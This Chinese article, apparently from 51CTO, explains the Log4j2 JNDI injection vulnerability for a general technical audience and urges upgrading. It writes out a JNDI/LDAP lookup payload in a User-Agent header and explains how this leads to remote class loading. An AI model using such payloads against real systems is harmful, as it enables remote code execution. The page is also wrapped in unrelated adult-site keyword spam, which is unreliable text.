精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

核彈級漏洞!我把log4j扒給你看!

安全 漏洞
我看了很多技術分析文章,都太過專業,很多非Java技術棧或者不搞安全的人只能看個一知半解,導致大家只能看個熱鬧,對這個漏洞的成因、原理、利用方式、影響面理解的不到位。

[[439901]]

大家好,我是軒轅。

相信大家這兩天應該被這么一條新聞刷屏了:

這個漏洞到底是怎么回事?

核彈級,真的有那么厲害嗎?

怎么利用這個漏洞呢?

我看了很多技術分析文章,都太過專業,很多非Java技術棧或者不搞安全的人只能看個一知半解,導致大家只能看個熱鬧,對這個漏洞的成因、原理、利用方式、影響面理解的不到位。

這篇文章,我嘗試讓所有技術相關的朋友都能看懂:這個注定會載入網絡安全史冊上的漏洞,到底是怎么一回事!

log4j2

不管是什么編程語言,不管是前端后端還是客戶端,對打日志都不會陌生。

通過日志,可以幫助我們了解程序的運行情況,排查程序運行中出現的問題。

在Java技術棧中,用的比較多的日志輸出框架主要是log4j2和logback。

今天討論的主角就是log4j2。

我們經常會在日志中輸出一些變量,比如:

  1. logger.info("client ip: {}", clientIp) 

現在思考一個問題:

假如現在想要通過日志輸出一個Java對象,但這個對象不在程序中,而是在其他地方,比如可能在某個文件中,甚至可能在網絡上的某個地方,這種時候怎么辦呢?

log4j2的強大之處在于,除了可以輸出程序中的變量,它還提供了一個叫Lookup的東西,可以用來輸出更多內容:

lookup,顧名思義就是查找、搜索的意思,那在log4j2中,就是允許在輸出日志的時候,通過某種方式去查找要輸出的內容。

lookup相當于是一個接口,具體去哪里查找,怎么查找,就需要編寫具體的模塊去實現了,類似于面向對象編程中多態那意思。

好在,log4j2已經幫我們把常見的查找途徑都進行實現了:

具體每一個的意思,這里就不詳述了,這不是本文的重點。

JNDI

主要來看其中那個叫JNDI的東西:

JNDI即Java Naming and Directory Interface(JAVA命名和目錄接口),它提供一個目錄系統,并將服務名稱與對象關聯起來,從而使得開發人員在開發過程中可以使用名稱來訪問對象。

看不懂?看不懂就對了!

簡單粗暴理解:有一個類似于字典的數據源,你可以通過JNDI接口,傳一個name進去,就能獲取到對象了。

那不同的數據源肯定有不同的查找方式,所以JNDI也只是一個上層封裝,在它下面也支持很多種具體的數據源。

LDAP

繼續把目光聚焦,咱們只看這個叫LDAP的東西。

LDAP即Lightweight Directory Access Protocol(輕量級目錄訪問協議),目錄是一個為查詢、瀏覽和搜索而優化的專業分布式數據庫,它呈樹狀結構組織數據,就好象Linux/Unix系統中的文件目錄一樣。目錄數據庫和關系數據庫不同,它有優異的讀性能,但寫性能差,并且沒有事務處理、回滾等復雜功能,不適于存儲修改頻繁的數據。所以目錄天生是用來查詢的,就好像它的名字一樣。

看不懂?看不懂就對了!

這個東西用在統一身份認證領域比較多,但今天也不是這篇文章的重點。你只需要簡單粗暴理解:有一個類似于字典的數據源,你可以通過LDAP協議,傳一個name進去,就能獲取到數據。

漏洞原理

好了,有了以上的基礎,再來理解這個漏洞就很容易了。

假如某一個Java程序中,將瀏覽器的類型記錄到了日志中:

  1. String userAgent = request.getHeader("User-Agent"); 
  2.  
  3. logger.info(userAgent); 

網絡安全中有一個準則:不要信任用戶輸入的任何信息。

這其中,User-Agent就屬于外界輸入的信息,而不是自己程序里定義出來的。只要是外界輸入的,就有可能存在惡意的內容。

假如有人發來了一個HTTP請求,他的User-Agent是這樣一個字符串:

  1. ${jndi:ldap://127.0.0.1/exploit} 

接下來,log4j2將會對這行要輸出的字符串進行解析。

首先,它發現了字符串中有 ${},知道這個里面包裹的內容是要單獨處理的。

進一步解析,發現是JNDI擴展內容。

再進一步解析,發現了是LDAP協議,LDAP服務器在127.0.0.1,要查找的key是exploit。

最后,調用具體負責LDAP的模塊去請求對應的數據。

如果只是請求普通的數據,那也沒什么,但問題就出在還可以請求Java對象!

Java對象一般只存在于內存中,但也可以通過序列化的方式將其存儲到文件中,或者通過網絡傳輸。

如果是自己定義的序列化方式也還好,但更危險的在于:JNDI還支持一個叫命名引用(Naming References)的方式,可以通過遠程下載一個class文件,然后下載后加載起來構建對象。

PS:有時候Java對象比較大,直接通過LDAP這些存儲不方便,就整了個類似于二次跳轉的意思,不直接返回對象內容,而是告訴你對象在哪個class里,讓你去那里找。

注意,這里就是核心問題了:JNDI可以遠程下載class文件來構建對象!!!。

危險在哪里?

如果遠程下載的URL指向的是一個黑客的服務器,并且下載的class文件里面藏有惡意代碼,那不就完犢子了嗎?

還沒看懂?沒關系,我畫了一張圖:

這就是鼎鼎大名的JNDI注入攻擊!

其實除了LDAP,還有RMI的方式,有興趣的可以了解下。

JNDI 注入

其實這種攻擊手法不是這一次出現了,早在2016的blackhat大會上,就有大佬披露了這種攻擊方式。

回過頭來看,問題的核心在于:

Java允許通過JNDI遠程去下載一個class文件來加載對象,如果這個遠程地址是自己的服務器,那還好說,如果是可以被外界來指定的地址,那就要出大問題!

前面的例子中,一直用的127.0.0.1來代替LDAP服務器地址,那如果輸入的User-Agent字符串中不是這個地址,而是一個惡意服務器地址呢?

影響規模

這一次漏洞的影響面之所以如此之大,主要還是log4j2的使用面實在是太廣了。

一方面現在Java技術棧在Web、后端開發、大數據等領域應用非常廣泛,國內除了阿里巴巴、京東、美團等一大片以Java為主要技術棧的公司外,還有多如牛毛的中小企業選擇Java。

另一方面,還有好多像kafka、elasticsearch、flink這樣的大量中間件都是用Java語言開發的。

在上面這些開發過程中,大量使用了log4j2作為日志輸出。只要一個不留神,輸出的日志有外部輸入混進來,那直接就是遠程代碼執行RCE,滅頂之災!

修復

新版的log4j2已經修復了這個問題,大家趕緊升級。

下面是log4j2官網中關于JNDI lookup的說明:

我通過搜索引擎找到了緩存的12月10號前的快照,大家對比一下,比起下面這個緩存,上面那一版多了哪些東西?

答案是:修復后的log4j2在JNDI lookup中增加了很多的限制:

默認不再支持二次跳轉(也就是命名引用)的方式獲取對象

只有在log4j2.allowedLdapClasses列表中指定的class才能獲取。

只有遠程地址是本地地址或者在log4j2.allowedLdapHosts列表中指定的地址才能獲取

以上幾道限制,算是徹底封鎖了通過打印日志去遠程加載class的這條路了。

最后,手機前的各位Java小伙伴兒們,你們寫的程序中有用到log4j2嗎,有沒有某個地方的輸出,有外部的參數混進來呢?

 

趕緊檢查檢查哦!

 

責任編輯:武曉燕 來源: 編程技術宇宙
相關推薦

2021-12-13 01:49:34

漏洞Log4j代碼

2022-03-25 13:42:15

Log4j漏洞網絡安全

2021-12-23 09:47:36

Log4jRCE漏洞DoS漏洞

2022-05-30 14:04:23

Log4j遠程代碼漏洞

2022-03-30 11:29:53

漏洞補丁Spring

2021-12-14 23:44:26

漏洞Log4j項目

2021-12-24 09:52:31

Traefik Log4J 漏洞

2022-01-24 10:02:53

漏洞微軟網絡攻擊

2021-12-23 11:03:25

Log4j 漏洞漏洞

2022-01-10 11:16:40

漏洞 Log4j2Jndi

2021-12-11 13:22:10

漏洞公司Log4j

2021-12-30 08:55:41

Log4j2FastJson漏洞

2022-01-06 09:52:39

Log4j漏洞攻擊

2023-11-10 10:08:23

2022-01-02 07:07:55

CISAApache Log4漏洞

2021-12-16 12:27:15

Log4j漏洞網絡安全

2021-12-22 16:53:31

Log4jLog4j庫零日漏洞

2021-12-29 14:47:43

Apache團隊Log4j漏洞

2021-12-21 14:25:01

Log4j2漏洞網絡

2022-02-15 17:51:38

Log4j漏洞網絡安全
點贊
收藏

51CTO技術棧公眾號

国产精品吹潮在线观看| 亚洲日韩欧美视频一区| av网站手机在线观看| 涩涩视频免费看| 免费在线观看精品| 欧美日韩xxx| 3d动漫精品啪啪一区二区下载| 肉色欧美久久久久久久免费看| 日韩一区欧美一区| 精品在线观看一区二区| 中文字幕 欧美激情| 影院欧美亚洲| 精品国产依人香蕉在线精品| 日本不卡视频一区| 日韩电影精品| 日韩欧美在线观看| 999久久欧美人妻一区二区| 可以在线观看的av| 丁香婷婷综合激情五月色| 国产精品丝袜高跟| 青青青国产在线| 欧美网站在线| www.久久久久| 欧美亚洲色综久久精品国产| 久久九九热re6这里有精品| 4438成人网| 欧美性猛交xxx乱久交| 1区2区3区在线| 玉米视频成人免费看| 亚洲一区二区在| 国产私人尤物无码不卡| 久久综合中文字幕| 国产伦精品一区二区三区视频孕妇| 91丨九色丨蝌蚪丨对白| 久热精品在线| 欧洲精品毛片网站| 99热国产在线观看| 9久re热视频在线精品| 欧美精品第一页在线播放| 97精品在线播放| 不卡一区综合视频| 在线观看欧美成人| 亚洲无人区码一码二码三码的含义| 日韩精品福利一区二区三区| 精品国产麻豆免费人成网站| 亚洲区 欧美区| 一区二区三区四区高清视频| 日韩欧美一区在线| 91蝌蚪视频在线| 国产一区二区视频在线看| 欧美日本在线播放| 五月天中文字幕在线| 亚洲精品大全| 欧美一区二区在线看| 黄色aaaaaa| 网站一区二区| 欧美成人女星排名| 日本一区二区在线观看视频| 欧美美女在线直播| 日韩经典中文字幕在线观看| 精品人妻少妇嫩草av无码| 九热爱视频精品视频| 亚洲欧美激情四射在线日| 午夜理伦三级做爰电影| 国产一区二区三区91| 中文字幕日韩av电影| 国产传媒免费在线观看| 日韩一级毛片| 欧美精品在线观看91| 久久无码精品丰满人妻| 亚洲欧洲另类| 人人做人人澡人人爽欧美| 波多野结衣在线观看一区| 美腿丝袜亚洲一区| 91黄色国产视频| 天天操天天爱天天干| 久久综合色鬼综合色| 日本高清一区| 菠萝蜜视频国产在线播放| 洋洋av久久久久久久一区| 777精品久无码人妻蜜桃| 久久91导航| 欧美一区二区黄色| 日本黄色免费观看| 欧美日韩中文一区二区| 成年无码av片在线| 天天综合网久久综合网| 久久99精品视频| 国产精品我不卡| 成人亚洲综合天堂| 亚洲一区二区三区自拍| 国产成人av影视| 98视频精品全部国产| 亚洲性线免费观看视频成熟| 永久免费看黄网站| 免费亚洲视频| 91丝袜脚交足在线播放| 男女污污视频在线观看| 亚洲精品视频在线| 虎白女粉嫩尤物福利视频| 电影一区中文字幕| 亚洲片国产一区一级在线观看| 国产精品99久久久久久成人| 国产一区二区三区久久久久久久久| 国产精品一区二区女厕厕| 欧美一区二区黄片| 亚洲视频小说图片| 国产成人精品无码播放| 国产伦乱精品| 久久精品小视频| 久久精品五月天| jlzzjlzz国产精品久久| 国产女人18毛片| 亚洲国产尤物| 国产视频精品久久久| 免费中文字幕在线| 精品一区二区三区不卡| 欧美日韩中文国产一区发布 | 9久草视频在线视频精品| 亚洲午夜在线观看| 成人免费直播| 亚洲护士老师的毛茸茸最新章节| 久久久精品视频免费观看| 老牛影视一区二区三区| 精品国产福利| 欧洲成人综合网| 欧美一卡二卡三卡四卡| 99成人在线观看| 秋霞国产午夜精品免费视频| 黄色一区三区| av在线小说| 精品国产成人在线影院| 久久香蕉精品视频| 国产不卡一区视频| 潘金莲一级淫片aaaaa免费看| 国产福利一区二区三区在线播放| 久久亚洲成人| 国内精品久久久久久中文字幕| 国产免费av观看| 国产精品欧美一区二区三区| 国产精品无码av无码| 九九亚洲精品| 国产成人精品视| 精品影院一区| 在线亚洲免费视频| 亚洲а∨天堂久久精品2021| 久久久www| 欧美一区二区福利| 精品免费av在线| 一本色道久久综合狠狠躁篇怎么玩 | 亚洲免费观看在线视频| 青娱乐国产精品视频| 亚洲精品午夜av福利久久蜜桃| 成人欧美一区二区三区在线湿哒哒| av大片在线看| 91精品国产综合久久香蕉的特点 | 国产小视频在线播放| 色偷偷成人一区二区三区91| 粉嫩av蜜桃av蜜臀av| 日韩综合一区二区| 亚洲国产精品综合| 日韩毛片网站| 欧美激情奇米色| 香蕉久久一区二区三区| 色婷婷久久久亚洲一区二区三区 | 一本一道久久a久久综合蜜桃| 久久中文字幕av| 91免费高清视频| 手机在线免费观看av| 日韩av影片在线观看| 99re国产在线| 综合网在线视频| 在线精品视频播放| 老司机精品导航| 日本高清xxxx| 欧美男人操女人视频| 国产精品电影网| 91精选在线| 日韩精品视频在线播放| 中文字幕在线网址| 亚洲一区二区三区四区五区中文 | 婷婷精品进入| 国产精品裸体一区二区三区| 激情亚洲影院在线观看| 欧美成人中文字幕| 欧美套图亚洲一区| 91精品国产综合久久久蜜臀粉嫩| 日韩和一区二区| 国产精品丝袜久久久久久app| 无码人妻久久一区二区三区蜜桃| 奶水喷射视频一区| 女同性恋一区二区| 欧美猛男做受videos| eeuss一区二区三区| 国产精品久久亚洲不卡| 欧美尺度大的性做爰视频| 国产中文在线| 精品久久国产字幕高潮| 最近中文字幕免费观看| 午夜激情一区二区| 日韩欧美国产成人精品免费| 久久综合色综合88| 中文写幕一区二区三区免费观成熟| 久久精品盗摄| 国产夫妻自拍一区| 国产精品久久久久久麻豆一区软件 | 亚洲专区中文字幕| 欧美日韩美女| 欧美精品久久久久a| 久久日韩视频| 国产亚洲视频在线| 亚洲日本香蕉视频| 日韩免费在线观看| 夜夜躁狠狠躁日日躁av| 狠狠躁夜夜躁人人爽天天天天97| 黄色a级片在线观看| 中文字幕第一区| 国产ts丝袜人妖系列视频| 国产伦精品一区二区三区免费| 国产视频在线视频| 国产精品女主播一区二区三区| 国产一二三四区在线观看| 成人综合一区| 日韩理论片在线观看| 亚欧洲精品视频在线观看| 成人动漫在线视频| 精品国产一级| 亚洲一区免费网站| 高清精品久久| 91热精品视频| 国产精品麻豆| 91久久精品一区| 日韩成人在线一区| 成人日韩在线电影| 日韩有码欧美| 国产欧美韩国高清| 日韩三级成人| 成人h视频在线观看播放| 久久天堂影院| 91精品免费视频| 亚洲欧美久久精品| 成人一区二区电影| 奇米一区二区| 国产高清一区视频| 狼人精品一区二区三区在线| 精品国产日本| 台湾色综合娱乐中文网| 玖玖玖精品中文字幕| 偷拍亚洲精品| 欧美一区二区福利| 久久神马影院| 日本丰满大乳奶| 狠狠色综合网| 自慰无码一区二区三区| 久久成人国产| 亚洲欧美激情网| 麻豆极品一区二区三区| 91pony九色| 国产成人av福利| 午夜免费福利影院| 久久精品这里都是精品| 日本在线观看网址| 亚洲男人的天堂av| 久久夜色精品亚洲| 在线视频你懂得一区| 亚洲一级片免费看| 日韩欧美专区在线| 凸凹人妻人人澡人人添| 亚洲视频777| 免费在线观看黄色网| 欧美丰满少妇xxxxx| 中文字幕乱码在线播放| 国产精品欧美日韩| 中文字幕一区二区三区中文字幕 | 日韩精品国产一区| 99久久精品国产精品久久| 亚洲国产天堂av| 亚洲女同女同女同女同女同69| 国产成人无码精品久在线观看 | 欧美理论电影大全| 中文字幕一区二区三区四区五区六区 | 国产精品99久久免费黑人人妻| 蜜桃视频免费观看一区| 丰满熟女人妻一区二区三区| 国产日韩精品久久久| 五月天丁香激情| 色素色在线综合| 精品人妻少妇嫩草av无码专区 | 国产精品区一区二区三在线播放 | 538任你躁精品视频网免费| 96精品视频在线| 欧美free嫩15| 99re在线国产| 欧美军人男男激情gay| 黄色一级片黄色| 日韩成人午夜电影| 精品国产乱码久久久久久牛牛| 国产福利第一页| 亚洲美女av黄| 中文字幕在线观看播放| 日韩av不卡在线| 136福利精品导航| 五月天亚洲综合小说网| 亚洲黄色影片| 欧美视频国产视频| 久久人人爽人人爽| 久久精品第一页| 欧美猛男超大videosgay| 五月婷婷狠狠干| 欧美精品在线极品| 欧美黄页在线免费观看| 久久久综合香蕉尹人综合网| 欧美1区视频| 中文字幕 91| 国产日韩一级二级三级| 日本中文字幕网| 日韩一区二区三区免费观看| av资源网在线观看| 欧美在线观看网站| 国内毛片久久| 乱熟女高潮一区二区在线| 极品少妇xxxx精品少妇偷拍| 美女被到爽高潮视频| 精品国产老师黑色丝袜高跟鞋| 国产成人精品无码高潮| 久久精品久久久久| 巨大黑人极品videos精品| 日韩久久久久久久| 亚洲欧美日本日韩| av无码一区二区三区| 亚洲国产婷婷综合在线精品| av网站在线免费看| 久久精品国产亚洲精品2020| 日本a人精品| 亚洲精品久久区二区三区蜜桃臀| 蜜乳av另类精品一区二区| 亚洲av无码一区二区三区观看| 午夜久久久影院| 日本黄色不卡视频| 97超级碰碰碰| 秋霞影院一区二区三区| 欧美 日韩 国产在线观看| 99天天综合性| 日本三级中文字幕| 亚洲国产婷婷香蕉久久久久久| 91超碰在线| 久久精品第九区免费观看 | 国产图片一区| 国产妇女馒头高清泬20p多| 99久久久精品免费观看国产蜜| 国产网站在线看| 日韩成人黄色av| 成人一区福利| 日本一区二区三区视频在线播放 | 国产精品男女猛烈高潮激情| 手机在线电影一区| 久久精品视频在线观看免费| 一区二区三区在线观看动漫| 欧美一区二区在线观看视频| 欧美伊久线香蕉线新在线| 狠狠做六月爱婷婷综合aⅴ| 三级av免费观看| 一区二区三区在线播放| 五月婷婷丁香六月| 国产精品福利网站| 五月久久久综合一区二区小说| 欧美日韩一区二区区别是什么| 亚洲午夜私人影院| 欧美巨乳在线| 91精品久久久久| 亚洲欧洲日本mm| 国产99在线 | 亚洲| 欧美一区二区日韩一区二区| 狠狠操一区二区三区| 亚洲国产精品一区二区第一页| 国产激情视频一区二区三区欧美 | 少妇久久久久久被弄高潮| 欧美精品一区二区三区高清aⅴ | 成年人二级毛片| 亚洲成人动漫在线播放| 外国成人直播| 污污污污污污www网站免费| 久久婷婷一区二区三区| 国产露脸无套对白在线播放| 91po在线观看91精品国产性色| 日韩电影免费在线观看| 国产成人av片| 欧美三级资源在线| xxxcom在线观看| 亚洲欧美日本国产有色| av一二三不卡影片| 亚洲在线观看av| 全球成人中文在线| 欧美xxx在线观看| 成人黄色免费网址| 亚洲成人国产精品| 99久久99九九99九九九| 熟女性饥渴一区二区三区| 一区二区在线看| 国产精品二线|